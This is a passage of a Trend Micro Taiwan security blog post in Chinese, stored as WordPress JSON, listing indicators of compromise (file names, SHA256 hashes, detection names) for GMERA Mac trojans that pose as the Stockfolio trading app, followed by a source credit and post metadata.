Suites<\/a>\uff0c\u5b83\u878d\u5408\u4e86\u9ad8\u4fdd\u771f\u6a5f\u5668\u5b78\u7fd2\u53ca\u6df7\u5408\u5f0f\u5a01\u8105\u9632\u8b77\u6280\u8853\u4f86\u6d88\u5f2d\u4f7f\u7528\u8005\u6d3b\u52d5\u53ca\u7aef\u9ede\u6240\u9762\u81e8\u7684\u5404\u7a2e\u5b89\u5168\u554f\u984c\u3002<\/p>\n\n\n\n<p><strong>\u5165\u4fb5\u6307\u6a19\uff08IoC<\/strong><strong>\uff09<\/strong><\/p>\n\n\n\n<p><strong>\u6a23\u672c1<\/strong><\/p>\n\n\n\n<style>\n   table {border-collapse:collapse; table-layout:fixed; width:310px;}\n   table td {border:solid 1px ; width:100px; word-wrap:break-word;}\n   <\/style>\n<table  class=\"wp-block-table table table-hover\" ><tbody><tr><td>\n  <strong>\u6a94\u6848\u540d\u7a31<\/strong>\n  <\/td><td>\n  <strong>SHA256<\/strong>\n  <\/td><td>\n  <strong>\u5075\u6e2c\u540d\u7a31<\/strong>\n  <\/td><\/tr><tr><td>\n  Plugin\n  <\/td><td>\n  6fe741ef057d38dd6d9bbe02dacbcb4940dac6c32e0f50a641e73727d6bf60d9\n  <\/td><td>\n  Trojan.SH.GMERA.A\n  <\/td><\/tr><tr><td>\n  Stock\n  <\/td><td>\n  6f48ef0d76ce68bbca53b05d2d22031aec5ce997e7227c3dcb20809959680f11\n  <\/td><td>\n  Trojan.SH.GMERA.A\n  <\/td><\/tr><tr><td>\n  Stockfoli\n  <\/td><td>\n  efd5b96f489f934f2465a185e43fddf50fcde51b12a8fb91d5d93b09a21706c7\n  <\/td><td>\n  Trojan.MacOS.GMERA.A\n  <\/td><\/tr><tr><td>\n  Trial_Stockfoli.zip\n  <\/td><td>\n  18e1db7c37a63d987a5448b4dd25103c8053799b0deea5f45f00ca094afe2fe7\n  <\/td><td>\n  Trojan.MacOS.GMERA.A\n  <\/td><\/tr><\/tbody><\/table>\n\n\n\n<p><strong>\u6a23\u672c2<\/strong><\/p>\n\n\n\n<style>\n   table {border-collapse:collapse; table-layout:fixed; width:310px;}\n   table td {border:solid 1px ; width:100px; word-wrap:break-word;}\n   <\/style>\n<table  class=\"wp-block-table table table-hover\" ><tbody><tr><td>\n  <strong>\u6a94\u6848\u540d\u7a31<\/strong>\n  <\/td><td>\n  <strong>SHA256<\/strong>\n  <\/td><td>\n  <strong>\u5075\u6e2c\u540d\u7a31<\/strong>\n  <\/td><\/tr><tr><td>\n  com.apple.upd.plist\n  <\/td><td>\n  be8b6549da925f285307b17c616a010a9418af70d090ed960ade575ce27c7787\n  <\/td><td>\n  Trojan.MacOS.GMERA.B\n  <\/td><\/tr><tr><td>\n  run.sh\n  <\/td><td>\n  d50f5e94f2c417623c5f573963cc777c0676cc7245d65967ca09a53f464d2b50\n  <\/td><td>\n  Trojan.SH.GMERA.B\n  <\/td><\/tr><tr><td>\n  Stockfoli\n  <\/td><td>\n  83df2f39140679a9cfb55f9c839ff8e7638ba29dba164900f9c77bb177796e03\n  <\/td><td>\n  Trojan.MacOS.GMERA.B\n  <\/td><\/tr><tr><td>\n  Trial_Stockfoli.zip\n  <\/td><td>\n  faa2799751582b8829c61cbfe2cbaf3e792960835884b61046778d17937520f4\n  <\/td><td>\n  Trojan.MacOS.GMERA.B\n  <\/td><\/tr><\/tbody><\/table>\n\n\n\n<p>@\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website\/?utm_source=feedburner&amp;utm_medium=email&amp;utm_campaign=Feed%3A+Anti-MalwareBlog+%28Trendlabs+Security+Intelligence+Blog%29\">Mac Malware that Spoofs Trading App Steals User Information, Uploads it to Website<\/a> \u4f5c\u8005\uff1aLuis Magisa\uff08<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/author\/trend-micro\/\">\u8da8\u52e2\u79d1\u6280<\/a>\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/t.rend.tw\/?i=ODEzNw\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/08\/Windows10Banner-540x90v5.gif\" alt=\"\"\/><\/a><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u8da8\u52e2\u79d1\u6280\u767c\u73fe\u5169\u96bb\u507d\u88dd\u6210 Mac\u5408\u6cd5\u4ea4\u6613\u8edf\u9ad4 Stockfolio \u7684\u6728\u99ac,\u6703\u5728\u87a2\u5e55\u4e0a\u51fa\u73fe\u771f\u5be6\u7684\u80a1\u7968\u4ea4\u6613\u4ecb\u9762,\u4f46 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[3942,3943,378,398],"tags":[351,3891,2068],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/62115"}],"collection":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62115"}],"version-history":[{"count":0,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/62115\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}